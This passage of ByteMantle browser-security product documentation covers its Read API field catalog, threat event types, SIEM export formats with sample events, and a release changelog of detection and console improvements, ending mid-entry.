| Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `contract_key` | Contract key | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `chain_id` | Chain ID | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `chain` | Chain | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `address` | Address | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `contract_name` | Name | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `verified` | Verified | bool | eq | yes | yes | sum | | | `status` | Status | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `verdict_status` | Verdict | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `verdict_severity` | Verdict severity | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | | values: `info`, `low`, `medium`, `high`, `critical` | | `verdict_reason` | Verdict reason | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `reputation_status` | Reputation | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `observations` | Observations | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `last_method` | Last method | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `last_intent` | Last intent | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `last_intent_risk` | Last intent risk | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `websites_json` | Websites | text | contains | | | | | | `providers_json` | Providers | text | contains | | | | | | `selectors_json` | Selectors | text | contains | | | | | | `raw_json` | Sensor record | text | contains | | | | | | `abi_functions` | ABI functions | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `device_count` | Devices | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `updated_at` | Updated | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.web3_contract_device` — Web3 — Contract sightings Web3: which browser met which contract. - Available with: the Web3 feature; at most 1000 rows per answer. - Key field: `contract_id`; time field: `last_seen_at` - `search` looks in: nothing (free-text search is not available) - Without `columns`: every field - Related objects: `device` → `core.device` (one), `contract` → `core.web3_contract` (one) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `contract_id` | Contract | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `device_id` | Device | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | count_distinct | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.audit` — Audit Log The audit log. Not available through the API (it is for administrators). ###### `core.telemetry` — Telemetry Telemetry records (only when your organization collects telemetry); same fields as threat events. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; time field: `event_time` - `search` looks in: `event_id`, `hostname`, `site`, `url`, `rules_csv`, `evidence_sha256` - Without `columns`: `event_time`, `event_type`, `site`, `device.label`, `resource_count` - Related objects: `device` → `core.device` (one) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `event_id` | Event ID | text | eq, in | yes | | | | | `event_type` | Type | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count, count_distinct | the event types below | | `is_telemetry` | Telemetry | bool | eq | yes | yes | sum | | | `event_time` | Time | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `received_at` | Received | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `action_authoritative` | Action authoritative | bool | eq | yes | yes | sum | | | `document_id` | Document ID | text | eq, in | yes | | | | | `frame_id` | Frame ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `frame_url` | Frame URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `enforcement_reason` | Enforcement reason | text | contains, is_null, not_null | | | | | | `escalation` | Severity raised by the console | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | | | | | | `user_reported_at` | Reported by the user | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `command_hash` | Command (SHA-256) | hash | eq, in, is_null, not_null | yes | yes | count_distinct | | | `write_class` | How the command reached the clipboard | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `notification_status` | Notification status | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `notification_reason` | Notification reason | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `evidence_source` | Evidence source | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `evidence_hash_algorithm` | Evidence hash algorithm | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `evidence_byte_length` | Evidence bytes | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `page_entity_hash` | Page entity hash | hash | eq, in, is_null, not_null | yes | yes | | | | `severity` | Severity | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count | values: `info`, `low`, `medium`, `high`, `critical` | | `severity_rank` | Severity rank | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max, sum | | | `action` | Action | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `blocked` | Blocked | bool | eq | yes | yes | sum | | | `would_block` | Would block | bool | eq | yes | yes | sum | | | `repeat_count` | Repeats | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `last_repeat_at` | Last repeat | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `url` | URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `hostname` | Host | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `site` | Site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `top_level_url` | Top-level URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `target_url` | Target URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `source` | Source | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `source_trust` | Source trust | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `signal_strength` | Signal strength | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `confidence` | Confidence | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max | | | `score` | Score | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max, sum | | | `site_score` | Site score | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max | | | `enforcement` | Enforcement | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `rules_csv` | Rules | csv | has_item, contains, is_empty, not_empty | | | | | | `mitre_csv` | MITRE ATT&CK | csv | has_item, contains, is_empty, not_empty | | | | | | `evidence_sha256` | Evidence SHA-256 | hash | eq, in, is_null, not_null | yes | yes | count_distinct | | | `evidence_length` | Evidence length | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `evidence_truncated` | Evidence truncated | bool | eq | yes | yes | sum | | | `evidence_text` | Evidence | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data | | `policy_id` | Policy ID | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `correlation_id` | Correlation ID | text | eq, in | yes | | | | | `ext_incident_id` | Extension incident ID | text | eq, in | yes | | | | | `incident_id` | Incident | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | count_distinct | | | `device_id` | Device | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | count_distinct | | | `browser_session_id` | Browser session | text | eq, in | yes | | | | | `artifact_type` | Artifact type | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `artifact_hash` | Artifact hash | hash | eq, in, is_null, not_null | yes | yes | | | | `resource_count` | Resource count | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `extension_version` | Extension version | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `payload_json` | Raw payload | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data; only together with a time filter | | `lure_url` | Lure URL | url | eq, contains | | | | only together with a time filter | ###### `core.event_summary` — Event summary (hourly) Hourly counts of threat events: fast for long time ranges. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `hour`; time field: `hour` - `search` looks in: nothing (free-text search is not available) - Without `columns`: `hour`, `event_type`, `severity`, `action`, `n` - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `hour` | Hour | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `event_type` | Type | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count_distinct | the event types below | | `severity` | Severity | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | | values: `info`, `low`, `medium`, `high`, `critical` | | `severity_rank` | Severity rank | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max | | | `action` | Action | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `blocked` | Blocked | bool | eq | yes | yes | | | | `n` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, max | | ###### Event types The values of `event_type` (threat events and telemetry): | `event_type` | In the console | Group | | --- | --- | --- | | `clipboard` | Clipboard Write | ClickFix / Clipboard | | `clipboard_policy` | Clipboard Policy Block | ClickFix / Clipboard | | `dom` | ClickFix Page Scan | ClickFix / Clipboard | | `inline_script` | Inline Script | Script / Payload | | `third_party_domain` | 3rd-Party New Domain | Infrastructure | | `domain_age` | Newly Registered Domain | Infrastructure | | `device_code` | Device Code Phishing | Identity / Phishing | | `rpc_response_observed` | RPC Response Observed | Web3 / RPC | | `rpc_etherhiding` | EtherHiding (contract-hosted lure) | Web3 / RPC | | `script_loader` | Script Loader (decrypt / EtherHiding) | Web3 / RPC | | `rpc_behavior_detected` | RPC Behavior Detected | Web3 / RPC | | `rpc_behavior_block` | RPC Behavior Block | Web3 / RPC | | `rpc_block` | Blockchain RPC Block | Web3 / RPC | | `rpc_enforcement_rule` | RPC Enforcement Rule | Web3 / RPC | | `phishing` | Phishing — Password Field | Identity / Phishing | | `phishing_precaution` | Credential Risk — New Domain | Identity / Phishing | | `service_worker` | Service Worker | Browser Persistence | | `blob_phishing` | Blob Phishing | Identity / Phishing | | `browser_in_browser` | Browser-in-the-Browser | Identity / Phishing | | `ioc_match` | Threat Indicator Match | Infrastructure | | `hidden_iframe` | Hidden Iframe from a Third-Party Frame | Browser Behavior | | `wallet_request` | Wallet Signature Request | Web3 | | `webrtc` | WebRTC Behavioral Signal | Browser Behavior | | `correlation` | Temporal Correlation | Correlation | | `site_tech_observation` | Site Technology (telemetry) | Telemetry | | `resource_observation_batch` | Resource Observation (telemetry) | Telemetry | A newer browser extension may report a type that is not in this list yet; the API returns it as it is. ##### 4.8 What the SIEM receives Up to 5 destinations per organization. Every minute the console sends the new threat events in batches of up to 100, oldest first (events younger than 15 seconds wait for the next minute). It moves on only after a `2xx` answer; after an error it tries again later, waiting longer each time and respecting a `Retry-After` header. It sends only to HTTPS addresses on the public internet, does not follow redirects and connects to the address it checked. The evidence itself (for example the command a page tried to copy) is never sent, only its SHA-256. Formats: - `json` — JSON batch (generic webhook, Elastic, Logic Apps) - `splunk_hec` — Splunk HTTP Event Collector - `cef` — CEF lines (text/plain) Every event becomes one record with these fields: | Field | Meaning | | --- | --- | | `vendor` | always "ByteMantle" | | `product` | always "ByteMantle Console" | | `console_version` | the version of the console that sent it | | `tenant_id` | your organization's number | | `tenant` | your organization's name | | `id` | the event's number in the console (the id of the Read API) | | `event_id` | the event's unique identifier, the same in the browser and in the console; use it to recognise repeats | | `type` | the kind of event (4.7, event types) | | `telemetry` | true for a telemetry record, false for a threat event | | `time` | when the browser saw it (UTC, ISO 8601) | | `received` | when the console received it | | `severity` | info, low, medium, high or critical | | `action` | what the extension did (detected, blocked, warned, neutralized, prevented) | | `blocked` | true when the extension blocked it | | `url` | the address of the page | | `host` | the host name of the page | | `site` | the registrable domain of the page | | `source` | which detector reported it | | `confidence` | the detector's confidence, 0 to 1, or null | | `score` | the detector's score, or null | | `rules` | the detection rules that matched | | `mitre` | the MITRE ATT&CK techniques | | `evidence_sha256` | the SHA-256 of the evidence (the evidence itself is never sent), or null | | `incident_id` | the number of the incident it belongs to, or null | | `correlation_id` | the correlation identifier of the extension, or null | | `device` | the browser: id, hostname (when known), label and extension_version | A JSON batch, exactly as a console sent it: ``` { "source": "nextgen-console", "count": 2, "events": [ { "vendor": "ByteMantle", "product": "ByteMantle Console", "console_version": "2.14.1", "tenant_id": "1", "tenant": "Contoso", "id": "241328", "event_id": "ngav-1793709842735-4hdr7nlf", "type": "correlation", "telemetry": false, "time": "2026-11-03T12:44:02+00:00", "received": "2026-11-03T12:44:02+00:00", "severity": "high", "action": "detected", "blocked": false, "url": "http://lure2.swu-zz.com:18766/", "host": "lure2.swu-zz.com", "site": "swu-zz.com", "source": "temporal_correlation", "confidence": 0.8, "score": null, "rules": [ "sw_on_flagged_site_chain" ], "mitre": [ "T1189", "T1204.004" ], "evidence_sha256": null, "incident_id": "382", "correlation_id": null, "device": { "id": "245", "hostname": null, "label": "Linux · Chrome · #0023", "extension_version": "3.12.4" } }, { "vendor": "ByteMantle", "product": "ByteMantle Console", "console_version": "2.14.1", "tenant_id": "1", "tenant": "Contoso", "id": "241327", "event_id": "ngav-1793709842731-ptspuqj0", "type": "service_worker", "telemetry": false, "time": "2026-11-03T12:44:02+00:00", "received": "2026-11-03T12:44:02+00:00", "severity": "info", "action": "remediated", "blocked": false, "url": "http://lure2.swu-zz.com:18766/", "host": "lure2.swu-zz.com", "site": "swu-zz.com", "source": "service_worker", "confidence": null, "score": null, "rules": [ "sw.unload.auto" ], "mitre": [], "evidence_sha256": null, "incident_id": "382", "correlation_id": null, "device": { "id": "245", "hostname": null, "label": "Linux · Chrome · #0023", "extension_version": "3.12.4" } } ] } ``` Splunk HEC: one line per event, each a JSON object with `time` (Unix seconds), `host` (the browser), `source`, `sourcetype` (`nextgen:event`) and `event` (the record above): ``` {"time":1793709842,"host":"Linux · Chrome · #0023","source":"nextgen-console","sourcetype":"nextgen:event","event":{"vendor":"ByteMantle","product":"ByteMantle Console","console_version":"2.14.1","tenant_id":"1","tenant":"Contoso","id":"241328","event_id":"ngav-1793709842735-4hdr7nlf","type":"correlation","telemetry":false,"time":"2026-11-03T12:44:02+00:00","received":"2026-11-03T12:44:02+00:00","severity":"high","action":"detected","blocked":false,"url":"http://lure2.swu-zz.com:18766/","host":"lure2.swu-zz.com","site":"swu-zz.com","source":"temporal_correlation","confidence":0.8,"score":null,"rules":["sw_on_flagged_site_chain"],"mitre":["T1189","T1204.004"],"evidence_sha256":null,"incident_id":"382","correlation_id":null,"device":{"id":"245","hostname":null,"label":"Linux · Chrome · #0023","extension_version":"3.12.4"}}} {"time":1793709842,"host":"Linux · Chrome · #0023","source":"nextgen-console","sourcetype":"nextgen:event","event":{"vendor":"ByteMantle","product":"ByteMantle Console","console_version":"2.14.1","tenant_id":"1","tenant":"Contoso","id":"241327","event_id":"ngav-1793709842731-ptspuqj0","type":"service_worker","telemetry":false,"time":"2026-11-03T12:44:02+00:00","received":"2026-11-03T12:44:02+00:00","severity":"info","action":"remediated","blocked":false,"url":"http://lure2.swu-zz.com:18766/","host":"lure2.swu-zz.com","site":"swu-zz.com","source":"service_worker","confidence":null,"score":null,"rules":["sw.unload.auto"],"mitre":[],"evidence_sha256":null,"incident_id":"382","correlation_id":null,"device":{"id":"245","hostname":null,"label":"Linux · Chrome · #0023","extension_version":"3.12.4"}}} ``` CEF: one line per event (severity: info 1, low 3, medium 5, high 8, critical 10): ``` CEF:0|ByteMantle|ByteMantle|2.14.1|correlation|correlation on swu-zz.com|8|rt=1793709842000 request=http://lure2.swu-zz.com:18766/ dhost=lure2.swu-zz.com shost=Linux · Chrome · #0023 act=detected externalId=ngav-1793709842735-4hdr7nlf cs1Label=tenant cs1=Contoso cs2Label=rules cs2=sw_on_flagged_site_chain cs3Label=mitre cs3=T1189,T1204.004 CEF:0|ByteMantle|ByteMantle|2.14.1|service_worker|service_worker on swu-zz.com|1|rt=1793709842000 request=http://lure2.swu-zz.com:18766/ dhost=lure2.swu-zz.com shost=Linux · Chrome · #0023 act=remediated externalId=ngav-1793709842731-ptspuqj0 cs1Label=tenant cs1=Contoso cs2Label=rules cs2=sw.unload.auto cs3Label=mitre ``` ↑ Top #### 5. Versions and changes This is version 1 of the Read API (`/api/v1/`). New data types, fields and error codes may be added in later console versions; existing ones keep their name and meaning within version 1. Your console's catalog always describes what your version offers. The changes of each console version are in its release notes. --- ## Changelog Address: https://bytemantle.com/changelog/ Updated: 2026-11-11 > What changed in each release of the ByteMantle extension and console. ### Changelog Detection and console improvements, newest first. #### Console 2.17.4 — November 2026 - A faster console for large fleets: new threats are received in milliseconds, and the busiest pages open several times faster when you have hundreds of thousands of events. - Clearer when a search is too wide: the console tells you to narrow it instead of showing an error. - Lighter nightly housekeeping that no longer slows the console down while it runs. #### Extension 3.12.12 · Console 2.17.3 — November 2026 - A heads-up on the toolbar: on a website whose domain is only days old, the ByteMantle icon shows its age, and turns red when the site also shows signs of an attack. - Pages that rebuild themselves while loading are now checked like any other page. - Your console on your phone: the menu folds away behind one button and every page fits the screen. - Stronger connections: every browser now connects to the console with its own device key. - Clearer privacy text on the welcome page about when your IP address is kept. #### Console 2.17.2 — November 2026 - Faster to your console: after you type your password, “Open my console” takes you straight to it. - Clearer API keys: the console tells you when an option needs the Analyst role, and the expiry date is the day you chose. - Each threat event says in plain words when its rule only records, without warning the user. #### Extension 3.12.11 · Console 2.17.1 — November 2026 - A simpler welcome page: you are protected from the first second, and one button creates your free account with 14 days of Pro. - No account needed for our threat intelligence: continue without an account and the browser still gets ByteMantle Threat Intelligence and online protection, or keep everything in the browser. - One sign-in: after you create your account, “Open my console” in the extension opens your console without asking for your password again. #### Extension 3.12.9 · Console 2.17.0 — November 2026 - Fewer false alarms: a website's own service worker that loads its code from the company's own content network is no longer reported as a threat. - You decide how every check behaves: the built-in checks (new domains, service workers, blockchain activity, WebRTC, hidden frames) can now be set to monitor only, switched off, or excepted for a site, like the detection rules. - The Rules page shows what each rule does when it matches and how often it raised a false alarm in your organization, so you know which ones to tune. - One setting for the age of a domain: what counts as new, young or established is set once and used by every browser and by the console. - The console tells you which browsers run an older extension and why a device needs your attention. - A clearer menu, grouped by what you want to do: monitor, investigate, exposure, reports, protection, fleet and administration. #### Console 2.16.2 — November 2026 - Further hardening of the console, following an independent security review. #### Extension 3.12.8 · Console 2.16.1 — November 2026 - A phishing site stays closed: once you were warned about a site, coming back to it later in the same browser session shows the warning again straight away. - A site that presents the sign-in pages of several different companies is treated as phishing for the rest of the session. - Attacks on domains that are a few weeks old, not only brand-new ones, are now linked into one incident. #### Extension 3.12.7 · Console 2.16.0 — November 2026 - Fewer false alarms: ordinary website features such as a site's own service worker no longer make a trusted site look risky. - A phishing site seen on two or more of your browsers is marked as malicious and, if you choose, blocked for the rest of your organization before anyone else opens it. - Smarter site risk: a recently registered domain adds to the risk of a site that already shows attack evidence, with limits your organization can adjust. - Console: the smart contracts that hacked pages read their lures from are checked again every day, and the servers they point to are added to your attack infrastructure list. #### Extension 3.12.6 · Console 2.15.1 — November 2026 - Fake sign-in windows: a page that draws a fake browser window around a sign-in now gets the phishing warning, also when the fake address bar shows the address without "https://". - Fewer false alarms on ordinary pages: cookie banners, newsletter pop-ups and sign-in boxes are no longer mistaken for a fake browser window. - Clearer site labels: a young domain with strong attack evidence is shown as likely attacker infrastructure, not as a legitimate site that was abused. - Console: a link to the API and integrations guide from the API keys and SIEM pages, and a console that search engines leave alone. #### Website — November 2026 - New [API and integrations guide](https://bytemantle.com/docs/api/): send your threat events to your SIEM in ten minutes, read events and incidents with the Read API, open ServiceNow incidents automatically, and export to Excel or Power BI — step by step, with screenshots and examples you can copy. - Two new guides for security and privacy teams: [your suppliers' exposure, without scanning anyone](https://bytemantle.com/research/supplier-exposure-without-scanning/) and [what leaves the browser, and what does not](https://bytemantle.com/research/what-leaves-the-browser/). #### Extension 3.12.5 · Console 2.14.2 — November 2026 - Broader command protection: commands that download a program into a temporary or user folder and then run it, that run every line of a downloaded file, or that hide the server address as a number are now stopped on the clipboard. - No more trapped screens: a page that keeps forcing full screen after you leave it is released, and cannot take the screen back. - Clearer incidents: separate attacks on sites opened from the same page (an email, a search, a list of links) stay separate incidents. - Quieter AI chats: talking about an attack with an AI assistant no longer looks like an attack page; commands you copy from a chat are still checked. - More precise records: a command replaced on the clipboard shows as stopped in the console, once the extension has confirmed it. #### Extension 3.12.4 · Console 2.14.1 — November 2026 - A clearer exposure score: it now counts only the sites whose software could actually be checked, and says how many — a site that reveals nothing is no longer counted as safe. - Fewer repeated warnings: a sign-in page warned about once no longer keeps warning by itself. - More accurate WordPress inventory: plugin and theme versions are no longer confused with the version of WordPress itself. - Tidier incidents: an attack seen again on a later visit joins its earlier incident, and open incidents nobody worked on close by themselves after 30 days without new activity (adjustable in Settings). #### Extension 3.12.3 — November 2026 - Fewer false alarms: an attack seen on one site is no longer reported on another site you opened from the same page, and ordinary push notifications of a site are no longer shown as a threat. #### Extension 3.12.2 — November 2026 - One clear warning: when a dangerous site was opened from another tab, its warning now always appears over that site, never as a second page in a separate tab. #### Extension 3.12.1 — November 2026 - Sites protected by a security check (Cloudflare Turnstile, hCaptcha, reCAPTCHA) now load normally with the extension on — the check completes, and your clipboard stays protected on those pages. #### Extension 3.12.0 · Console 2.14.0 — November 2026 - Enterprise: one exposure score for your own sites, your suppliers and your customers, with its trend — also in your scheduled reports. - Enterprise: your critical suppliers ranked by how much your people really use them, a register of ICT third parties ready for NIS2 and DORA, and a clean PDF to send a supplier. - Enterprise: see the SaaS and AI tools your people sign in to, and whether they use your company sign-in. - Clearer results: each software version now says what was checked, how sure the detection is, and how likely an attack is (EPSS) — "not checked" is never shown as safe. #### Extension 3.11.0 · Console 2.13.0 — November 2026 - Enterprise: see the scripts on every payment page your people use, with an alert when one is added — the inventory PCI DSS 4.0 asks for. - Enterprise: find sites that load scripts from domains nobody owns or that were registered again, before an attacker buys them. - Enterprise: check whether others can send e-mail in your name (SPF and DMARC), and the certificates of the sites you depend on. #### Extension 3.10.0 · Console 2.12.0 — October 2026 - Enterprise: see which browsers in your fleet are behind on Chrome and Edge security updates. - Enterprise exposure goes deeper: weak sign-ins on the apps your people use, the quality of each site's Content Security Policy, missing security headers, cookies shared with every subdomain, code a site's service worker loads from other domains, the permissions people granted, and the server and CDN behind each site. #### Website — October 2026 - New pages for [people at home](https://bytemantle.com/home/) (what the free protection stops, in plain language) and for [enterprises](https://bytemantle.com/enterprise/) (Technology & Exposure of the sites your people use), and two clear paths from the home page. #### Extension 3.9.0 · Console 2.11.0 — October 2026 - Your choice, asked once: if you skipped the welcome page, the extension asks once, in its popup, whether to share detected attacks anonymously so new campaigns are blocked sooner for everyone. Either answer is final. - Clearer privacy: the welcome page, the settings and our privacy policy now say exactly what a browser that keeps everything local sends — only an anonymous, one-time install count, with no identifier. #### Extension 3.8.0 · Console 2.10.0 — October 2026 - Clearer results: the overview and the extension now count every attack that was stopped — blocked, the clipboard cleaned or the user kept off the page by the warning. - Lighter reporting: when a page repeats the same attack again and again, the console keeps one event and shows how many times it happened, with less data sent from each browser. #### Console 2.9.3 — October 2026 - Stronger shared threat intelligence: attacker infrastructure seen by many independent browsers now stands out in our research view, so we can spot new campaigns sooner and add them to everyone’s protection. #### Research & guides — 30 October 2026 - New plain-language guides: fake CAPTCHAs that ask for Windows + R, what ClickFix is, Device Code phishing in Microsoft 365, AiTM phishing and MFA bypass, EtherHiding, and Chrome’s new ClickFix warning compared with a security extension. - Research: the SC WordPress backdoor that keeps its command servers on Ethereum — how it works, seven months of its smart contracts’ history, and how to check and clean a site. #### Privacy policy, GDPR page and DPA — 29 October 2026 - More detail on what a connected browser sends: how an attack reached the browser, the connection’s IP address, and the optional telemetry an organization can turn on. Nothing new is collected. #### Extension 3.7.2 · Console 2.9.2 — October 2026 - Further hardening of the console and the extension, following an independent security review. #### Extension 3.7.1 · Console 2.9.1 — October 2026 - Exposure reads the server version from its default error pages when the server hides it elsewhere, and flags that the version is visible. - More accurate WordPress versions, and honest results when a server shows only part of its version: "version too vague" instead of a guess. - Vulnerability data says plainly whether anything is needed, and when each source last ran and succeeded. #### Extension 3.7.0 · Console 2.9.0 — October 2026 - Which script loaded which: on a compromised site, the attack story and the graph now show the site’s own script that pulled in the attacker’s code, so you know exactly what to clean. - Campaign map: sites that share the same attacker infrastructure are grouped and drawn together, so one operation behind many sites becomes one finding. - Notices from us, right in your console: releases, security advisories and maintenance reach your administrators, who close each one when read. - Threat Events: a faster device search, low-severity events in one click, and the last 24 hours by default. - Enterprise: Exposure follows more JavaScript frameworks (Astro, Gatsby, SvelteKit, Remix, Docusaurus, Eleventy, VitePress and more) and says clearly when a distribution build may still receive fixes. - Web Intelligence is now simply Intelligence, and every feature outside your plan shows what it would give you and which plans include it. #### Console 2.8.1 — October 2026 - Clearer status of the vulnerability data sources: a source with nothing to check yet says so. #### Extension 3.6.0 · Console 2.8.0 — October 2026 - Every attack story now starts where it really began: the search, the e-mail or the site the user came from, and every redirect on the way to the attack page. - The investigation graph shows who redirected to whom and which site led the user to the attack. - Enterprise: see the software and versions of the sites your people rely on, their security hygiene and how they change over time, without scanning anyone. - Enterprise: instant exposure. When a new vulnerability is published, find out at once which sites your people use report an affected version and who opened them, with known exploited vulnerabilities and end of support highlighted. - Careful by design: reported versions and possible vulnerabilities, never guesses; cookie values, page text and full addresses never leave the browser. #### Console 2.7.0 — October 2026 - Share an investigation with your threat intelligence platform: the graph of a site, a device or an incident exports as a STIX 2.1 bundle that MISP, OpenCTI and SIEMs import, with your classification label on every object. - Devices are pseudonymised by default when you share, and you choose the classification (TLP 2.0 or your own labels). - The incident export now carries the incident graph: as an image, as data, and as a drawing in the PDF report. #### Console 2.6.0 — October 2026 - Investigation graph: from a site, a device, an incident, a command or a campaign, see who is linked to whom, in which order and why, and expand it one click at a time. - Sites, devices, incidents, copy-paste commands and shared attacker infrastructure (smart contracts, payload hosts, service workers) in one picture, with the evidence behind every link. - Everyday services are set aside by default so the picture stays readable; export it as an image or as data. - Attack story on every incident: the attack step by step, from the site to the command and the next stage, and how it ended. Also in the incident export. #### Extension 3.5.1 · Console 2.5.1 — October 2026 - A new name: ByteMantle Browser Security & Protection. - Broader coverage of copy-paste attacks on Windows and macOS, including commands that fetch their next step from a server. - Pages that try to trap you in full screen are recognised, and the browser is released for you. - Connection health for administrators: which browsers report, which have gone quiet, and every event that is waiting. #### Extension 3.5.0 · Console 2.5.0 — October 2026 - Fewer false alarms: a share or chat icon of a messaging service is no longer taken for the page's sign-in brand, and weak findings are recorded without raising a site's risk. - Reset risk: an analyst can clear the accumulated risk of a site in the console and in every browser of the organization, with a reason. - Simpler policy: Balanced or Analyst presets that set the protection switches for you, Analyst records without warning or blocking, and "Off" always means monitor only. - A switch for blocking the sites in ByteMantle's threat lists, and hints on the Policy page when one setting changes what another does. #### Extension 3.4.2 · Console 2.4.2 — October 2026 - Once someone chooses to continue to a site anyway, that site stops repeating its sign-in form warning for a while. - A smart-contract read alone is no longer escalated as a copy-paste attack chain; a real lure after it still is. - Service workers that copy sign-in passwords, or reinstall a WordPress plugin with the visitor's session, are recognised as malicious. - Clearer exports for analysts: rule ids on every sign-in warning, the RPC node and contract of each blockchain read, and device counts per site. - The console rides out short database restarts at the hosting provider instead of failing the browser's request. #### Extension 3.4.1 · Console 2.4.1 — October 2026 - 